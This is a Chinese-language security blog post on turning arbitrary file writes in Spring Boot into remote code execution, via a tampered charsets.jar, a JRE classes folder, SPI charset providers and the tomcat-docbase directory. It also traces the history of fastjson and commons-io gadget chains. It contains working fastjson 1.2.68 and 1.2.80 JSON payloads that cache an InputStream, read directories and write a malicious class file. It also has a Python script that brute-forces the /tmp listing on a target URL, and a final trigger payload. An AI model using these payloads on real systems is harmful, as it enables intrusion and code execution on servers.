一、 java特性加载类文件
传统的ssh key/任务计划就不说了,介绍一下已经流行开来的几种java特性加载类文件。
1,charsets.jar
LandGrey首发
https://landgrey.me/blog/22/
复现过程
https://mp.weixin.qq.com/s/HMlaMPn4LK3GMs3RvK6ZRA
也就是写
/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/charsets.jar
很经典了,利用jvm不会一开始就加载所有类的机制,篡改charsets.jar,然后再用各种类加载触发。
其中最方便的是
Accept: text/html;charset=IBM33722
charsets.jar编译可修改LandGrey的。注意,他把全部编码都指向IBM33722了,所以其他编码也能触发。
https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks/tree/main/charsets
最终效果如下。
但charsets.jar也有着诸多缺点。
1,需root权限。不过好在现在docker/k8s横行,springboot服务大多数都是root权限。
2,charsets.jar加载仅一次机会。如果之前有用户使用过charset=GBK之类的加载过charsets.jar,不管是正常还是恶意的,该方法都会失效。如果该方式已经失效的情况下,你写的charsets.jar又不完整,还可能会导致服务挂掉。
3,完整的charsets.jar比较大,不过测试时不需要完整charsets.jar。
4,jdk目录需要猜测,需要字典。
5,仅jdk8或者以下适用。jdk9开始使用了模块化,不再存在charsets.jar
2,classes
https://threedr3am.github.io/2021/04/13/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84Fastjson%20RCE/
jdk8在加载类时,还会从/usr/lib/jvm/java-8-openjdk-amd64/jre/classes/去找这个类,因此只需要向这里写一个Evil.class,再想办法触发即可。
比如如果存在反序列化入口,可以class Evil implements Serializable,然后反序列化这个类,如果存在fastjson1.2.68入口,用如下payload触发。
{"@type":"java.lang.AutoCloseable","@type":"Evil"}
实际效果如下。
优点如下
1,多次机会写入,Evil写坏了就写Evil2/Evil3
2,写入文件不大。
缺点如下
1,需root权限。
2,jdk目录需要猜测。
3,仅jdk8或者以下适用,jdk9的ClassLoader变动,不再尝试载入该文件夹。
4,默认不存在classes目录,需要创建
5,需触发入口,不像charsets.jar那样可以header触发。
3,classes+SPI机制
https://threedr3am.github.io/2021/04/14/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84SpringBoot%20RCE/
这个方法解决了classes的缺点5,可以在不改动charsets.jar的情况下,利用classes/META-INF/services/java.nio.charset.spi.CharsetProvider文件指向classes/Evil.class,来完成charset=Evil触发Evil.class。
但同时它也多了一个缺点,charset=Evil第二次不会触发,需要不断变化charset=Evil111
4,tomcat-docbase
https://www.geekcon.top/js/pdfjs/web/viewer.html?file=/doc/ppt/GC24_SpringBoot%E4%B9%8B%E6%AE%87.pdf
利用过程
https://github.com/luelueking/CVE-2022-25845-In-Spring
springboot会在/tmp目录生成tomcat-docbase文件夹,本质相当于tomcat的根目录,因此加载类时还会尝试加载/tmp/tomcat-docbase.8080.xx/WEB-INF/classes/目录下的类。
/tmp目录可以根据server.tomcat.basedir配置项更改。
手动写入后效果如下
优点如下
1,无需root权限
2,不限于jdk8,jdk11下测试成功
缺点如下
1,tomcat-docbase带随机后缀,无法爆破,只能配合目录读取
2,WEB-INF/classes目录需要创建
3,触发时直接Class.forName(clazz)是不行的,必须要特定classloader,比如Thread.currentThread().getContextClassLoader()。
其中缺点3可以用如下代码测试。
"/classform1", method = RequestMethod.GET) (value =
public String classform1(String clazz) {
Class clazzClass = null;
try {
clazzClass = Class.forName(clazz, true, Thread.currentThread().getContextClassLoader());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
return "Class.forName "+clazzClass.getName();
}
"/classform2", method = RequestMethod.GET) (value =
public String classform2(String clazz) {
Class clazzClass = null;
try {
clazzClass = Class.forName(clazz);
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
return "Class.forName "+clazzClass.getName();
}
然后手动写Tomcat678910cmdechoException,classfrom2报错。
classfrom1成功。
因此这个写文件RCE基本限定在了fastjson,因为fastjson是用的Thread.currentThread().getContextClassLoader()。
TypeUtils.loadClass(String, ClassLoader, boolean)
readObject用的是其他的,因此不行。
ObjectInputStream.resolveClass()
二、 反序列化写文件实际利用
https://www.polarctf.com/#/page/challenges
这个CTF靶场的一写一个不吱声完美符合。
常见的文件写入链只有两个,其中FileUpload1因为年代久远不常使用,剩下一个就是Aspectjweaver链。因此Aspectjweaver链打springboot确实非常贴合实战。
Aspectjweaver链依赖commons-collections,靶场没有但是给了另外一个嫁接类。
此外还给了jdk版本方便定位jdk路径,甚至贴心的帮忙创建了JAVA_HOME/classes目录,因此打charsets.jar或者classes都可以。
三、 fastjson io链历史
1,jdk11
JDK11(或者linux版本部分jdk8)的任意文件写。
https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/
http://scz.617.cn:8/web/202008081723.txt
http://scz.617.cn:8/web/202008100900.txt
http://scz.617.cn:8/web/202008111715.txt
2,io1/io2
commons-io-2.x的文件写
https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
缺点,只能写8kb整的文件,且写二进制文件会导致文件混乱。
如下图这是写>8kb的二进制文件效果
后来发现使用iso-8859-1代替UTF-8编码,可以写二进制文件,但还是只能8kb整。
3,io3
su18发现的类似io1的链,和io1基本一样。
https://su18.org/post/fastjson-1.2.68/
4,io_read/io4
blackhat上公开一条文件读取(列目录,SSRF)的链,但需要回显,后来被浅蓝优化,可以用dnslog和报错进行布尔判断。
https://i.blackhat.com/USA21/Wednesday-Handouts/US-21-Xing-How-I-Used-a-JSON.pdf
https://b1ue.cn/archives/506.html
除此之外,blackhat还公开了一条依赖commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6的文件写入链。称为io4。
这条链是为了解决原版io1-3写入二进制文件会混乱。但我复现时,发现文件大小依旧固定为8kb整,也就是跟io1-3链搭配iso-8859-1编码是一样的。
360有关于这条链的复现
https://blog.noah.360.net/blackhat-2021yi-ti-xiang-xi-fen-xi-fastjsonfan-xu-lie-hua-lou-dong-ji-zai-qu-kuai-lian-ying-yong-zhong-de-shen-tou-li-yong-2/
至此我们可以发现io1-4链的缺陷,就是写文件固定大小均为8kb整。写so或者class文件时,我们需要塞入脏数据使文件大小恰好为8kb。
5,io5/io_mkdir
RainSec在io4的基础上,用anti依赖代替aspectj,于是有了io5。io5我测试下来是完美的,可以写大于8kb以上的二进制文件。
https://mp.weixin.qq.com/s/WbYi7lPEvFg-vAUB4Nlvew
除此之外,他还发现LockableFileWriter可以创建目录的一条链。
6,fastjson1.2.80的io链
众所周知,在1.2.68版本,是靠AutoCloseable这个合法类,在fastjson1.2.80已经被ban了。
浅蓝利用fastjson高版本可以序列化Field的特性以及对Exception这个漏网之鱼的研究,在KCon公开两条可以通过Exception将InputStream加入缓存的链子,配合io1-5/io_read/io_mkdir可以打fastjson1.2.80。
https://github.com/knownsec/KCon/blob/b6038b4f8768ab41836973e81cb0dd156bd50d64/2022/Hacking%20JSON%E3%80%90KCon2022%E3%80%91.pdf
7,io6/jackson+io链
浅蓝发现的ognl和xalan+dom4j依赖毕竟没用那么热门,于是利用jackson的Exception将InputStream加入缓存的链子在geekcon上公开。
https://www.geekcon.top/js/pdfjs/web/viewer.html?file=/doc/ppt/GC24_SpringBoot%E4%B9%8B%E6%AE%87.pdf
其中用LockableFileWriter代替FileWriterWithEncoding,被我称为io6,可以解决io1-4链文件大小恒定8kb的问题。而且可以自动创建目录,非常契合打springboot环境。
四、 fastjson写文件实际利用
https://github.com/luelueking/CVE-2022-25845-In-Spring
依旧是非常贴合实战的思路,这里用的我自己写的靶场。
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.7</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.80</version>
</dependency>
"/json", method = RequestMethod.POST) (value =
public String json(String json) {
JSONObject jsonObject = null;
try {
jsonObject = JSON.parseObject(json);
return jsonObject.toJSONString();
} catch (Exception e) {
e.printStackTrace();
return "error";
}
}
先将InputStream加入缓存。
{
"a": "{ "@type": "java.lang.Exception", "@type": "com.fasterxml.jackson.core.exc.InputCoercionException", "p": { } }",
"b": {
"$ref": "$.a.a"
},
"c": "{ "@type": "com.fasterxml.jackson.core.JsonParser", "@type": "com.fasterxml.jackson.core.json.UTF8StreamJsonParser", "in": {}}",
"d": {
"$ref": "$.c.c"
}
}
然后使用io_read,利用回显的差异逐字爆破/tmp目录,实战中一般不会将反序列化的json对象打印出来,可以使用error的不同或者是否发起http请求作为布尔条件。
实战中为了效率,可以使用合适的byte范围,以及充分利用boms支持多个bytes做二分快速筛选。
#python2
import requests
import json
url = 'http://192.168.229.130:9999/json'
#url = 'http://127.0.0.1:5667/json'
def getdata(bytes):
data = '''{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///tmp/"
},
"charsetName": "UTF-8",
"bufferSize": "1024"
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": ['''+bytes+''']
}
]
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [36]
}
]
},
"b": {"$ref":"$.a.delegate"}
}'''
return data
header = {'Content-Type':'application/json'}
header = {}
cookie = {}
flag = ''
bytes = ''
for ii in range(1,1000):
for i in range(0, 257):
if i == 256:
f = open("1.txt","w")
f.write(flag)
print(flag.decode('UTF-8'))
exit()
byte = bytes+str(i)+','
r = requests.post(url=url,data={'json':getdata(byte)},headers=header,cookies=cookie)
#print(r.text)
if "bytes" in r.text:
bytes = bytes + str(i)+','
print(bytes)
flag = flag + chr(i)
break
爆破出tomcat-docbase目录后,用io6写入Tomcat678910cmdechoException.class文件。
{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.AutoCloseInputStream",
"in": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.CharSequenceInputStream",
"cs": {
"@type": "java.lang.String"
"xCAxFExBAxBExxxxxxxxxxxxxxxx",
"charset": "iso-8859-1",
"bufferSize": 1024
},
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.LockableFileWriter",
"file": "/tmp/tomcat-docbase.9999.6522870832081637972/WEB-INF/classes/Tomcat678910cmdechoException.class",
"charset": "iso-8859-1",
"append": true
},
"charsetName": "iso-8859-1",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
}
},
"b": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"inputStream": {
"$ref": "$.a"
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "iso-8859-1"
},
"charsetName": "iso-8859-1",
"bufferSize": 1024
},
"c": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"inputStream": {
"$ref": "$.a"
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "iso-8859-1"
},
"charsetName": "iso-8859-1",
"bufferSize": 1024
}
}
最后成功RCE
{
"@type": "java.lang.Exception",
"@type": "Tomcat678910cmdechoException"
}
部分payload见我的github
https://github.com/kezibei/fastjson_payload
原文始发于微信公众号(珂技知识分享):springboot环境下的写文件RCE